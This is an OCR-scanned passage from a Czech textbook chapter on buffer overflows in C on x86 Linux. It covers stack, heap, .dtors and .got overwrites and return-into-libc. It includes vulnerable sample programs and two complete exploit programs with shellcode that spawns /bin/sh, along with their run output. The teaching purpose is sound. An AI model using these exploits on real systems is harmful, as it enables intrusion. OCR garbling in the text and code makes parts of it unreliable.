Staticka alokace — Oblasti staticky alokované se mohou nachazet bud' v datové oblasti (sekce .data,
.bss), nebo na zasobniku. BEZny nazev pro tyto oblasti jsou pole. Pole je datova struktura slozena
ze stejnych prvkl. Kompilator gee roz&ifuje jazyk C o dynamickou alokaci statickych poli. To
znamena, ze pozadovana velikost pole je dana obsahem proménné, nikoliv konstantou.
int x = strlen(argv[1));
char pole[x];

1Viz obrazek A.2 v priloze A
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Dynamickou alokaci statického pole nazasobniku Izetaké provést funkci void *alloca(int size).

Vys§i adresy paméti

. procesu

Usek paméti void *mem = malloc(19);

(memory chunk)

-7 _..zarovnani 20
o7 o | 16
-7 . . 12
< poZadovanych 19B — 8
*bk 4
SN *fd 0
' A size

prev_size

prev size: Velikost predchazejictho tGseku paméti, je—li nepouZivin.

UZivatelska data pfedchdzejictho tseku paméti, je—li pouzivén.

size: Celkov4 velikost tseku paméti, minimaln& 16B.

s Mus1 byt ndsobkem c1§la 8

: *fd *bK: Ukazatele na predchazejici a nasledujici pam&fové dseky,
je-li usek nepouzivan.
UZivatelska data, je—li Usek pouzivan.

Obrazek 7.1: Pamétové Useky v oblasti haldy

Tato funkce neni soucasti normy POSIX, a neni proto doporucovana.

Dynamicka alokace dokaze plné nahradit statickou alokaci. Opacné to neplati. Vyznam statické
alokace stoji predevdim najejim sémantickém vyznamu pole o pevné délce. Dal8l vyhodou statické
alokace je, ze aokovana pamét lokalniho pole se automaticky uvolni po ukonceni funkce. V nepo-
dedni fadé je staticka alokace vyraznérychleg 8. Alokace oblasti na zésobniku se sklada pouze z jediné
instrukce zmensujici hodnotu registru ESP. Syntaxe zapisu pro pristup ke staticky i dynamicky alo-
kovanym oblastem je shodna Dva existujici typy zapisu jsou zaménitelné2. Vice na nasledujicim

obrazku.

[* PFistup ke staticky a dynamicky alokovanym oblastem */

int main() {
int *oblast = (int *) malloc(5*sizeof (int));
int polef5];
int x,y;

pole[3] = 8;
oblast[3] = 8;

X
y

*(polet+3);
*(oblast+3);

free(oblast);
return O;

27apis x[i] je ekvivaletni se zapisem * (x+i)

66
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Oproti jazyku Pascal neni v jazyce C dovoleno volit dolni mez pole. V C je dolni mez pole
vzdy nula. Kompilatory jazyka C neprovadgji zadnou kontrolu zapisu mimo meze pole. Dlivodem je
efektivnost a rychlost vysledného kodu. Ve $patné napsané aplikaci miize dojit k zapisu mimo meze
pole. Mlize dojit k prepsani hodnot proménnych, padu aplikace ¢ spusténi externé vliozeného kodu.
Anglicky se tato situace oznacuje terminem buffer overflow.

Jednoduchou demonstraci programéatorské chyby oznatovanou jako chyba+ 12 vidime na obrazku
7.2.

I* bufferl.c */
#include <stdio.h>
int main(int argc, char **argv) {
int i=0,a=2;
int buffer[4];
printf("a: %\ n” ,a);
for (i=0;i<=4;i++) buffer[i] = 7;
printf(" a: %\ n” ,a);

return O;

Obréazek 7.2: Ukazka zapisu mimo meze pole

Kompilace a spusténi

$ gce bufferd.c -Wall -pedantic -o bufferl
$ Joufferl

a2

a’

$

Situaci na zasobniku po iniciaizaci proménnych vystihuje obrézek 7.3. Funkci main() jsou nadfa-
zenym prostifedim na zasobnik uloZeny jegi parametry. Po spusténi (provede se uschovani navratovée
adresy) funkce main() dojde k jgjimu prologu, tj. uloZeni obsahu registru EBP a nastaveni EBP na
novou hodnotu, ktera urcuje lokalni ramec funkce main(). Alokuje se misto pro lokalni proménné.
Potom dojde k postupnému ukladani hodnoty 7 naadresy & buffer[i]. Adresa & buffer[4] jiZ viak patfi
promeénné a. Dojde k pfepsani hodnoty proménnéaze2na?.

3Pojem zaved! ing. Pavel Herout ve své ugebnici jazyka C
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*(buffer+...)

Oxbffff... | **argv
0 argc
0x8040... | navratova adresa

Oxbffff... | ulozené EBP |2

0 [ =

*(buffer+4) 2 a z

*(buffer+3) S

*(buffer+2) N

*(buffer+1) 5»
*(buffer+0) *buffer

Obréazek 7.3: Stav na zasobniku po iniciaizaci proménnych prikladu bufferl.c

7.2 Cilové oblasti zapisu mimo meze

Podle toho, ve které pamétové oblasti doSlo k zapisu mimo meze pole, vymezuje anglicka literatura
terminy stack, heap, bbs a data overflow. Ceské ekvivalenty jsou preteteni na zasobniku, haldé, bbs
nebo data sekci. Prakticky vzato, oblast, kde k pfeteCeni dodo, uréuje moznosti Utoku. Ve virtuanim
adresnim prostoru procesu existuje nékolik adres, jejichz prepsani miize vest ke spudténi externé vloze-
ného kodu. Kromeé spoudténi externiho kodu samozi'emé miize dochéazet ke vseobecnému poskozovani
dat, jak bylo ukazano na prikladu z obrazku 7.2.

Metody vyuziti zapisu mimo meze miizeme rozdéit na primé anepfime (obrazek 7.4). Necht A je
alokovana oblast, u které miize dojit k zapisu mimo meze, B je ukazatel na alokovanou oblagt, X je
cilova adresa zapisu. Pfimy zapis je snadny avidéli jsme ho napf. v programu bufferl.c. Nevyhodou
je moznost umisténi cilovych adres pouze na vySSich adresach vzhledem k A. Také musi byt spinéna
podminka, Ze pfepsana data mezi A a X nepovedou k padu procesu.

U nepfimého zapisu dojde k prepsani hodnoty ukazatele B. Pokud se v programu vyskytuje
nasledné kopirovani dat na adresu ukazatele B, potom dojde k z&pisu na cilovou adresu X. Vyhodou
neprimého zapisu mimo meze je ziskani pristupu nalibovolnou adresu. Nevyhodou je VétSi sloZitost
nez u primého zapisu. Je zfgmé, Ze primy zapis dosahuje pouze zlomku moznosti nepfimého zapisu.

N B |,
A E
<
=%
)
A %)
A £
<
A X 12
>
Piimy zapis Neptimy zapis

Obrazek 7.4: Pfimy anepfimy zapis mimo meze
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Uvedme si prehled pamétovych oblasti, které souvisi se zapisem mimo meze. Virtuani adresni
prostor procesu mtizeme symbolicky rozdéit na dvé ¢asti. Do jedné Casti zafadime oblasti, které
dynamicky souvisgji s béhem programu. Jedna se o zasobnik a haldu. Zavadéc programu iniciaizuje
vrchol zasobniku naadresu Oxbfffffff. Pfidél ovani pamétovych stranek zasobniku dynamicky obstarava
jédro. Oblast haldy vznika pfi prvnim pouziti funkce malloc() (€i obdobnych) zvétSenim datového
segmentu programu.

zasobnik —Nazéasobniku sevyskytuji navratove adresy funkci, adresy lokalnich ramcti funkci, lokalni
proménné funkci, proménné prostfedi a parametry funkci. Mozné misto vzniku zapisu mimo
meze.

halda — Na haldé se nachazeji dynamicky alokované oblasti pro data. Mozné misto vzniku zépisu
mimo meze.

Druhou Casti jsou oblasti, které vznikaji pfi zavadéni programu do paméti podle predpisu ze
spustitelného formatu. Spustitelny forméat obsahuje sekce, které obsahuiji kod programu, staticka data,
relokacni tabulku, informace pro linker a dal&i. Vypis vSech sekci programu je mozné ziskat napr.
prikazem readelf -e program. Podivejme na vypis programu bufferl.c. Vypis je kvlli pfehlednosti
Zkrécen a upraven.
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Nazev sekce | Adresa zavedeni | Offset v souboru | Velikost sekce
.interp 080480f4 0000f4 000013
.note ABl-tag | 08048108 000108 000020
.hash 08048128 000128 000030
.dynsym 08048158 000158 000070
.dynstr 080481c8 0001c8 00007a
.gnu.version 08048242 000242 00000e
.gnu.version_r | 08048250 000250 000020
rel.dyn 08048270 000270 000008
rel.plt 08048278 000278 000020
anit 08048298 000298 000025
plt 080482c0 0002c0 000050
text 08048310 000310 00018c
fini 0804849c 00049c 00001c
.rodata 080484b8 0004b8 00000f
data 080494c8 0004c8 000010
.eh_frame 080494d8 0004d8 000004
.dynamic 080494dc 0004dc 0000c8
.ctors 08049524 0005a4 000008
.dtors 080495ac 0005ac 000008
.got 080495b4 0005b4 000020
.bss 08049504 0005d4 000018
.comment 00000000 0005d4 000120
.note 00000000 0006f4 000078
.shstrtab 00000000 00076¢ 0000cf
.Symtab 00000000 000c74 000490
strtab 00000000 001104 000215

Popis EL F formatu ajednotlivych sekci je uveden v priloze A. Pri z&pisu mimo meze jsou diilezité
tyto sekce (jsou uvedeny v zestupném poradi jgjich ulozeni v paméti):

.data —V této sekci se nachazeji staticka data. Mozné misto vzniku zapisu mimo meze.

.dynamic — Obsahuje informace potfebné pro dynamické linkovani. Jgji pritomnost znemozhiuje
primy zapis mimo meze ze sekce .data do oblasti na vySSich adresach.

.dtors — Sekce obsahuje ukazatele na funkce, které se maji vykonat po ukonceni funkce main().

.got — Sekce obsahuje ukazatel e naadresy funkci pouzitych z dynamicky linkovanych knihoven (v pfi-
padé statického linkovani obsahuje ukazatel e na adresy vSech funkci v programu pouzitych).

.bss — Sekce obsahuje neiniciovana globalni data. Mozné misto vzniku zapisu mimo meze.
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7.3 Prehled moznych disledkll zapisu mimo meze

7.3.1 Poskozovani dat

K v&eobecnému poskozovani dat miize dochazet v celém virtudnim pamétovém prostoru procesu.
Nap¥. u financniho softwaru je prepsani ¢astek ulozenych v paméti kritickym mistem.

7.3.2 Spousténi externiho kodu

UZivatel ((totnik) vyuzije zapisu mimo meze takovym zplisobem, Ze dojde k predani fizeni na
pamétové misto, kde predtim umistil svijj kod. Nej¢astéji dochazi ke spudténi shellkodu, jenz byl
popsan v predchozi kapitole. Pro viozZzeni shellkddu do paméti existuji celkem 3 b&Zné moznosti
— proménné prostfedi, argumenty predané programu, alokovana mista paméti pro ulozeni vstupu
od uzivatele. V urcitych situacich je mozné provést vloZeni i jinymi zplisoby. Prikladem miize byt
alfanumericky shellkbd ulozeny v nézvu souboru. Podminkou pro spusténi externé viozeného kodu
je spustitelnost pamét'ove oblasti jeho umisténi. Standardni linuxové jadro na x86 povoluje spousténi
kodu v celém virtualnim adresnim prostoru procesu.

Ke spudténi externiho kodu mtize dojit nékolika zplisoby.

Prepsani navratové adresy funkce — Navratové adresy funkci se nachazaji na zasobniku. Pfimym
zapisem mimo meze u oblasti alokovanych na zasobniku dosahneme snadného prepsani navrar
tovych adres funkci. Nepfimy zapis mimo meze Ize také pouZzit, ae je potfeba urcit adresu, kde
se navratova funkce na zasobniku nachézi.

Specifickou moznosti prepsani navratové adresy je prepsani ulozené hodnoty registru EBP
pri prologu funkce. Tento pfipad se anglicky oznaCuje terminem frame pointer overwrite.
Ukonteni funkce vypada takto:

movl %ebp, %eesp

popl %ebp

ret
Doregistru EBPjsme schopni nastavit libovolnou adresu pomoci zapisu mimo meze. Funkce, ve
které jsme provedli zapis mimo meze, se ukonci. Pokratuje béh nadfazené funkce. PFi ukonCeni
nadfazené funkce dojde k pfesunu obsahu registru EBP do registru ESP. Provede se instrukce
popl %ebp. Hodnotaregistru ESP setedy je&té zvysi 04B. Nyni instrukce ret otekavanavrcholu
zasobniku navratovou adresu funkce. Celkové jsme tedy dosahli stavu, kdy vrchol zasobniku
odpovida mistu, kde mame uloZenou adresu shellkodu. Adresu shellkbdu miizeme vloZit do
paméti jako soucast shellkodu.

Prepsani ukazatele nafunkci — Nazasobniku, sekci .bss nebo .data se mohou vyskytovat ukazatele
nafunkce. Pfepsanim ukazatel e naadresu shellkddu dosahnemejeho spusténi pri vol ani prislusné
funkce.
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Prepsanim sekce .dtors — Kompilator gec spoletné se spustitelnym binarnim formatem ELF pod-
poruji tvorbu funkci, které se spousti pred nebo po vykonani funkce main(). Takové funkce se
hodi k implicitni inicializaci adestrukci dat. Potfebna deklarace je uvedena na obrazku 7.5.

[* construct-destruct.c */
#include <stdio.h>

void fce_a() __attribute__ ((constructor)); // umisténi v .ctors
void fce_b() __attribute__ ((constructor));
void fce_c() __attribute__ ((destructor)); // umisténi v .dtors
void fce_d() __attribute_ _ ((destructor));

void fce_a() { printf(" Funkce a\ n"); }

void fce_b() { printf(" Funkce b\ n"); }

void fee_c() { printf("” Funkce c\n”); }

void fece_d() {

printf (" Funkce d\ n”

"V .ctors se nejdfive spousti funkce definovana posl edni\n”
"V .dtors se nejdfive spousti funkce definovana prvni\n”);

}

int main() {
printf (" Funkce mai n\ n”);
return O;

}

Obrazek 7.5: Deklarace funkci v konstruktoru a destruktoru programu

UloZeni ukazateltl nafunkcev sekci .dtors

$ objdump -s -j .dtors ./construct-destruct
construct-destruct: file format elf32-i386
Contents of section .dtors:

8049690: ffffffff 20840408 38840408 00000000

Sekce .dtors je umisténa na adresa 0x8049690. Obsahuje dva ukazatel e na funkce — 0x08048420
a0x08048438. Program objdump bohuzel pouziva nevhodny format vypisu. Vypisujejednotlivé
byty tak, jak jsou umistény za sebou v souboru a zcela nesmysné je slucuje po Gtyfech bytech.
Pocatek sekce je vyznaten hodnotou Oxffffffff, konec sekce je vyznaten hodnotou 0x00000000.
V pripadg, ze program neobsahuje zadné destruktory, jev sekci .dtors pouze pocatecni akoncova
znacka.

Pokud bychom za pocéatecni znatku Oxffffffff umistili adresu shellkddu, dosdhneme jeho spus-
téni po ukonceni funkce main(). Prepis sekce .ctors je také mozny, ale zbytetny. Po spusténi
programu jiz do sekce .ctors nebude nikdy predano Fizeni. VétSina programi napsanych v jazyce
C nevlastni zadné destruktory (u jazyka C++ sekce .ctorsresp. .dtors obsahuji ukazatel nafunkci
zgji&tujici volani konstruktorti resp. destruktorl globalnich statickych objekttl). Zapisem za star-
tovni znaCku dojde k pfepsani koncové znacky. Kdyby se spusténi shellkodu nepovedlo, systém
bude nasledujici byty v sekci .dtors povazovat také za ukazatele na funkce, dokud nenarazi na
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koncovou znatku 0x00000000. Tato €innost pravd&podobné rychle povede k ukonceni procesu
signdlem SIGSEGV.

Prepsanim sekce .got — V sekci .got (global offset table) jsou uvedeny ukazatele na adresy vsech
funkci ze sdilenych knihoven, které program pouZiva. Obsah sekce .got pro priklad z obrazku
7.10 nastrané 77 ziskame v prehledné podobé pfikazem objdump -R buffer 3.

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049688 R_386_GLOB_DAT | __gmon_start__
0804966¢ R_386_JUMP_SLOT | __register_frame_info
08049670 R_386_JUMP_SLOT | malloc

08049674 R_386_JUMP_SLOT | __deregister_frame_info
08049678 R_386_ JUMP_SLOT | strlen

0804967c R_-386_JUMP_SLOT | _libc_start_main
08049680 R_386_JUMP_SLOT | exit

08049684 R_386_JUMP_SLOT | strcpy

ZapiSeme-li na adresu 0x8049680 adresu shellkddu, dojde k jeho spusténi misto funkce exit().
Zajimavym cilem je i funkce __deregister_frame_info(). K jgimu volani dojde, pfi postupném
odstranovani procesu z paméti. Je tedy spousténa vzdy.

Prfepsani struktur suloZzenym kontextem procesu — Pfi doruceni signdlu procesu je na zasobnik
procesu uloZena struktura obsahujici potfebné informace pro pozdgsi obnoveni procesu. Pre-
psanim polozky, ze které se obnovuje registr EIP, miizeme dosahnout spudténi externiho kodu.
Obdobna situace nastane pfi prepsani struktury jmp_buf. Uk&zano na programu podle obrazku
7.14 ze strany 82.

7.3.3 Spousténi funkci definovanych v ramci programu

V&echny techniky vedouci ke spudténi externiho kodu miizeme pouZit ke spusténi funkci, které jsou
v programu definované. Tato metoda se pouzivav pripadg, ze v programu existuji zapomenuté funkce
z dob ladéni, které dovedou pfeskoCit autentifikatni ¢ast ¢i podobné.

7.3.4 Spousténi funkci z dynamicky linkovanych knihoven

Predchozi odstavec 7.3.3 se omezova pouze na spousténi funkci definovanych v ramci programu. Je
v&ak mozné vyuzit i funkci z dynamicky linkovanych knihoven.

Seznam vech dynamickych knihoven, které program pouziva, ziskame prikazem ldd program.
Ve vypise jsou uvedeny i adresy, od kterych jsou knihovny pro dany program zavedeny do paméti.
Souctem adresy zavedeni knihovny a offsetu funkce v ramci knihovny vypotteme adresu funkce
v paméti. Offset ziskame snadno z tabulky symbol &1 knihovny ve formatu ELF#. Nej&astdi jsou takto

“Vicev pfiloze A nastrangi
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volany funkce system(), execve(), write() z knihovny libc (standardni knihovna jazyka C). Zgjimavé
fetézce jako " /bin/sh” €i " /etc/ld.so.preload” nalezneme v libc také.

V pfipadé poyiit’l této metody ztraci veSkeré modifikace jadra s nespustitelnym zasobnikem
a haldou smyd. Utocnik jiz neméa potfebu vkladat a spoustét shellkod. Potfebné rutiny a Fetézce
vyuzije ze sdilenych knihoven.

Specificka situace, kdy navratova adresa funkce je pfepsana na adresu nékteré z dynamicky
linkovanych funkci, se oznatuje anglicky terminem return-into-lib.

oblast zasobniku
: 0x4003f2aa |

pozice —3=| 0x4001e800

navratové '

adresy P i

funkce E !

dynamicky | _"insh”_ | ox4003f2aa

zavedena

knihovna | [~~~ 77 7]

libc | funkee system() | 0x4001e800
0x4001e000

Obrazek 7.6: Piepsani navratové adresy funkce na adresu kodu z dynamicky linkované knihovny
Moznosti vyuZziti zapisu mimo meze je velmi mnoho. Za stévgici situace neexistuje jina spo-
lehliva obrana nez psani programil, které neumozni zapis mimo meze. Existujici feSeni v podobé

modifikovaného jadra a kompilatoru gcc, ktera jsou popsana v kapitole 9, dosahuji pouze Castetnych
Gspéchtl.

7.4 Vzorové priklady

7.4.1 Prepsani navratové adresy funkce

Utok vedeny na navratové adresy funkci na zasobniku je jeden z nejstargich a stéle nejéastdji pouzi-
vanych. Byva diisledkem Spatné kontroly nékterého vstupu od uzZivatele. Ukazme si v&e na nejjedno-
dusSim a sebevysvétlujicim prikladg, viz obrazek 7.7.
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[* buffer2.c */
#include <string.h>

int main(int argc, char **argv) {
char buffer[1000];

if (argc > 1) strepy(buffer,argv[1]);
else return 1;

return O; 10

Obrazek 7.7: Kbod umoznujici primy zapis mimo meze na zasobniku

V tomto pFipadé programator mylné otekava, ze buffer o velikosti 1000B bude statit i pro ten
nejdelSi parametr predany programu. Spravné feSeni spoCiva v nahrazeni funkce strepy() funkci
strncpy(), kterd umoziuje omezit potet kopirovanych bytll. V naem konkrétnim pripadé by bylo
vhodné omezit délku kopirovaného Fetézce na 999B. Podedni byte by mé& programétor pro jistotu
nastavit na nulu.

K prepsani navratové adresy funkce main() nam staci zaplnit cely buffer a pridat 8B. Prvnimi
Ctyfmi byty nevyznamné pfepiSeme uloZzenou hodnotu registru EBP. Druhymi ¢tyfmi byty pfepiseme
navratovou adresu. Zbyvavyresit, kam vloZit shellkod, ktery budeme chtit spustit. Jednou z moznosti
je pfimo sam buffer. My ovSem nevime, na které adrese se v paméti nachéazi, a pfitom tuto adresu
musime znat. Lze pouZit metodu hrubg sily, jak mlizeme nejCastéji vidét v praxi. Malo znamy je fakt,
Ze na zasobniku existuje nékolik pevnych adres platnych pro vSechny procesy. Vice naobrazku 7.8.

Oxbfffffff 0
Oxbffffffa jméno 2
programu =
8
promenne ;
prostiedi @3
=
________ S
argumenty S
programu c%

Obrézek 7.8: Pevné adresy na zasobniku

VlozZzime-li n&s shellkdd jako podedni proménnou prostfedi, dokaZzeme snadno vypoCitat adresu
pocatku shellkbdu pomoci vztahu adresa = Oxbffffffa - strlen(nazev programu) - strlen(shellkod).
Program, ktery vyuZije chyby a provede spudténi shellu, je uveden na obrazku 7.9. Kazdy Fadek je
dostatetné komentovan. Pouzity shellkod je z kapitoly 6, strana45. Programy, kteréjsou psanév tomto
duchu, se ozna€uji anglickym terminem exploit.
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* exploit-buffer2.c */

#include <unistd.h>
#include <string.h>

/I genericky shellkdd typu Aleph One
char shellkod[] =
"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xcO0\ x89\ x46\ x0c\ x88\ x46”
"\ x07\ xb0O\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x31”
"\ xcO\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xff\ xff/ bin/sh”; 10

int main() {
/I velikost bufferu + 8B na zapis mimo pole + 1B na ukonCeni Fetézce
char pole[1000+8+1];
/I jméno spousténého programu, jeden argument, zakoncujici NULL
char *argv[3] = {"./buffer2”, pole, NULL};
/I prfidani proménné prostfedi, zafadi se jako posledni — na nejvySSi adresu
char *env[2] = {shellkod, NULL};
/I vypoCet adresy, kde bude uloZzen shellkod
int adresa = Oxbffffffa — strlen(argv[0]) — strlen(shellkod); 20

/I celé pole nastavime na nenulovou hodnotu
memset(pole,0x90,1000+8+1);
/I 4B které prepiSi navratovou adresu
*(int *)&pole1004] = adress;
/I ukonCeni Tetezce, aby strpcy() v buffer2.c ukonCila kopirovani
pole[1008] = O;
/I spusténi ./buffer2 s jednim argumentem a pridanou proménnou prostfedi
execve(argv[0],argv,env); 30
}

Obrazek 7.9: VyuZiti chyby v programu buffer2.c
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Kompilace a spusténi

$ gce buffer2.c -o buffer2

$ gec exploit-buffer2.c -o exploit-buffer2
$ .Jexploit-buffer2

sh-2.05b$

7.4.2 Prepsani ukazatele nafunkci

Prepsani ukazatel e nafunkci v jednoduchych pripadech povede k Uplné stejnému postupu jako v pred-
chazejicim pripadé. Podivame se na prepsani ukazatele na funkci, ktery bude umistén v sekci .data.
Zasadni podil na jeho prepsani budou mit dvé alokovana pole. Zdrojovy kod je uveden na obrazku
7.10. Uvedeny pfipad je extrémné Spatné naprogramovany. Chyby jsou oCividné zejména proto, ze
priklad je krétky. Dostatetné vsak vystihuje problematiku.

[* buffer3.c */
#include <string.h>
#include <stdlib.h>

int zpracuj(char *koho) { }
int (*funkce)(char *) = zpracuj;

int main(int argc, char **argv) {
char *jmeno = (char *)malloc(strlen(argv[2]));
char rodne_cido[10];

strepy(rodne_cislo,argv[1]);
strepy(jmeno,argv[2]);
funkce(jmeno);

exit(0);

Obrazek 7.10: Kod umoznujici nepfimy zapis mimo meze

Na prvni pohled by se mohlo zdét, Ze sta€i provéest zapis mimo meze u pole rodne_cislo. Dosahli
bychom tim prepsani navratové adresy funkce main() jako v pfedchozim pfipadé. Bohuzel tato navra
tova adresa nebude nikdy vyzvednuta, protoze program konci funkci exit(). Tato funkce spusti volani
_exit(), které bezprostfedné proces ukonci. Dokaézeme v3ak jinou véc. Zapisem mimo meze u pole
rodne_cislo dosahneme prepisu hodnoty ukazatele jmeno. Bude-li ukazatel jmeno obsahovat adresu,
na které se nachazi ukazatel nafunkci funkce, mame zCasti vyhréato. Na adresu jmeno pak staci zapsat
adresu shellkddu. Situace je naobrazku 7.11.

Jedinou komplikaci je zZiskani adresy, na které se v datové sekci nachéazi ukazatel na funkci
funkce. Jednou z moznosti je provést editaci programu buffer2.c, zkompilovat a nechat s vytisknout
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shellkéd L.
~- zéasobnik
—1— jmeno —— jmeno
rodne_cislo rodne_cislo
""""""" < halda
L=
- _funkee__|: == _ funkce_ -
+~=— .data
L.-L  zpracuj zpracuj
<— .text
main main

Plivodni stav

Pozadovanv stav

Obrazek 7.11: Situace ve virtualnim pamétovém prostoru programu buffer3.c

pozadovanou adresu. Tato varianta je snadna, ale bohuzel nevede k pfesnému uréeni adresy tak, jak

bychom potfebovali.

Dopsany fadek pro zjisténi adresy
printf(” Adresa funkce: %p\n”,& funkce);

Kompilace a spusténi

Adresafunkce: 0x8049
$

5f4

$ gee buffer3-edited.c -o buffer3-edited
$ ./buffer3-edited argl argv2

Ted s ovdem musime polozit otéazku, zda ziskana adresa ukazatele je shodna i v origindnim
programu. Bohuzel neni. Podiveime se na program buffer3-edited nastrojem gdb. Nechame s vypsat
vSechny sekce programu® spolu s rozsahy adres.

$ gdb buffer3-edited

(gdb) nmmi ntenance info sections

Exec file:

“/tnp/ buffer3-edited

0x080480f 4- >0x08048107
0x08048108- >0x08048128
0x08048128- >0x08048168
0x08048168- >0x08048218
0x08048218- >0x080482ac
0x080482ac- >0x080482c2
0x080482c4- >0x080482¢e4
0x080482e4- >0x080482ec
0x080482ec->0x0804832c

fil
at
at
at
at
at
at
at
at
at

e type el f32-i386.

0x000000f 4:
0x00000108:
0x00000128:
0x00000168:
0x00000218:
0x000002ac:
0x000002c4:
0x000002e4:
0x000002ec:

50 sekcich programu pojednava piiloha A

.interp ALLOC LOAD READONLY DATA HAS_ CONTENTS

.note. ABl -tag ALLOC LOAD READONLY DATA HAS_CONTENTS
. hash ALLOC LOAD READONLY DATA HAS CONTENTS

.dynsym ALLOCC LOAD READONLY DATA HAS_CONTENTS
.dynstr ALLOC LOAD READONLY DATA HAS CONTENTS

.gnu. version ALLOC LOAD READONLY DATA HAS_CONTENTS
.gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
.rel.dyn ALLOC LOAD READONLY DATA HAS CONTENTS
.rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
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0x0804832c->0x08048351 at 0x0000032c: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08048354- >0x080483e4 at 0x00000354: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x080483f 0- >0x080485ac at 0x000003f0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x080485ac- >0x080485c8 at 0x000005ac: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x080485c8- >0x080485e3 at 0x000005c8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x080495e4- >0x080495f 8 at 0x000005e4: .data ALLOC LOAD DATA HAS_CONTENTS
0x080495f 8- >0x080495f ¢ at 0x000005f8: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x080495f c- >0x080496¢c4 at 0x000005fc: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x080496¢c4- >0x080496¢cc at 0x000006c4: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x080496¢cc- >0x080496d4 at 0x000006cc: .dtors ALLOC LOAD DATA HAS_ CONTENTS
0x080496d4- >0x08049704 at 0x000006d4: .got ALLOC LOAD DATA HAS_CONTENTS
0x08049704- >0x0804971c at 0x00000704: .bss ALLCC

0x00000000- >0x00000120 at 0x00000704: .commrent READONLY HAS_CONTENTS

0x00000000- >0x00000078 at 0x00000824: .note READONLY HAS_CONTENTS

(gdb)

Vidime, Ze naSiniciovany ukazatel nafunkci (na adrese 0x80495f4) se nachazi v sekci .data. Tim,
Ze jsme dopsali fadku s tiskem adresy, dodo k nékolika zménam vzhledem k plivodnimu programu.
Sekce .text se zcelajisté prodliouZila o kod odpovidajici volani funkce printf(). Sekce .plt (procedure
linkage table) se rozsifila o referenci na funkci printf(). Sekce .rodata (readonly data) se rozsifila
0 konstatni Fetézec, ktery pouZivame jako parametr funkce printf(). V3echny zminované sekce se

v

nachazeji na nizsich adresach nez sekce .data.

Pfi porovnani s origindlnim programem je sekce .data umisténa na vysSi adrese z diivodu zvétSeni
predchazejicich sekci. Ziskali jsme tedy pouze pribliznou adresu ukazatele na funkci. Nyni mame
moznost pouZit hrubou silu a vyzkouset rozsah adres. Zplisobeny posun sekce .data nebude odhadem
VEtSi nez 150B.

Jinou moznosti, ktera je narotngsi na zkuSenosti, je pouzit disassembler na originalni program.
Pouzijeme prikaz objdump -d buffer 3. Ze zdrojového kodu miizeme usoudit, jak zhruba bude vypadat
hledana disasemblovana &ast. Také zname piiblizny odhad spravné adresy. Usek s nalezenou adresou
jenaobrazku 7.12. Hledana adresa ukazatele na funkci je 0x8049580.

/* Cast vypisu prikazu objdump -d buffer3 */

0x080484f9: 8b 45 fc mov  Oxfffffffc(%oebp),%eax
0x080484fc: 50 push  %eax

0x080484fd: 8b 1d 80 95 04 08 mov  0x8049580,%ebx
0x08048503: ff d3 call *Opebx

Obrazek 7.12: Cast vypisu disassemblace programu buffer3

Pfi psani programu na vyuZiti chyby (uveden na obrazku 7.13) v programu buffer3 musime dét
pozor navelikost pole rodne_cido. Ve zdrojovém textu je uvedena velikost 10B. Kompilator gcc pro
data alokovana na zasobniku implicitné provadi zarovnani na nasobek Cisla 4. Misto 10B bude tedy
alokovano 12B.
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I* exploit-buffer3.c */
#include <unistd.h>
#include <string.h>

/I genericky shellkdd typu Aleph One
char shellkod[] =
"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xc0\ x89\ x46\ xOc\ x88\ x46”
"\ x07\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x31"
"\ xcO0\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xf f\ xff/bin/sh”;
10
int main() {
/I velikost pole rodne_cido + 4B na zapis mimo meze + 1B na ukonCeni fetézce
char polel[12+4+1];
/I sem vlozime adresu shellkbdu .. 4B + 1B na ukonCeni fetézce
char pole2[4+1];
/I jméno programu, jeho dva argumenty a zakonCeni NULL
char *argv[4] = {"./buffer3”, polel, pole2, NULL};
/I pfidan& proménna prostfedi se shellkbdem
char *env[2] = {shellkod, NULL};
/I vypoCet adresy shellkbdu 20
int adresa = Oxbffffffa — strlen(argv[0]) — strlen(shellkod);
/I adresa na které se nachazi ukazatel na funkci
int ukazatel_na_fci = 0x8049580;

/I celé polel na nenulovou hodnotu
memset(polel,0x90,17);
/I prepsani ukazatele jmeno
*(int *)&polel[12] = ukazatel _na_fci;
I/l zakonCeni Tetézce, aby se fce strepy() zastavila
polel[16] = O; 30
/I ukazatel na funkci —> shellkod
*(int *)&pole?[0] = adresa;
Il zakonCeni Tetezce, aby se fce strepy() zastavila
pole2[5] = O;
/I spusténi ./buffer3 se dvéma argumenty a pfidanou proménnou prostfedi

execve(argv[0],argv,env);

Obrazek 7.13: Vyuziti chyby v programu buffer3.c
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Kompilace a spusténi

$ gce buffer3.c -o buffer3

$ gec exploit-buffer3.c -o exploit-buffer3
$ /Jexploit-buffer3

sh-2.05b$

7.4.3 Prepsani struktury jmp_buf

V praxi se obCas setkame s pozZzadavkem dlouhého nestrukturovaného skoku. Funkce setjmp() a lon-
gimp() implementu;ji tuto moznost ve standardizované podobé. Princip je v tom, Ze funkce setjmp()
S pfi svém prvnim volani uloZi obsah nékterych registrll. Po volani longjmp() jsou do patfi¢nych
registrli nastaveny ulozené hodnoty a fizeni je predano na misto volani setjmp(). Typicky se tento
mechanizmus pouZiva jako reakce na chybu s navratem do mista, kde program jesté fungoval dobre.
MUzeme také mluvit 0 moznosti zpracovani vyjimek v jazyce C. Funkce pro diouhy skok bohuzel
nejsou na seznamu reentantnich funkci. Divody |ze nalézt v bezpetnostnich problémech pfi doruceni
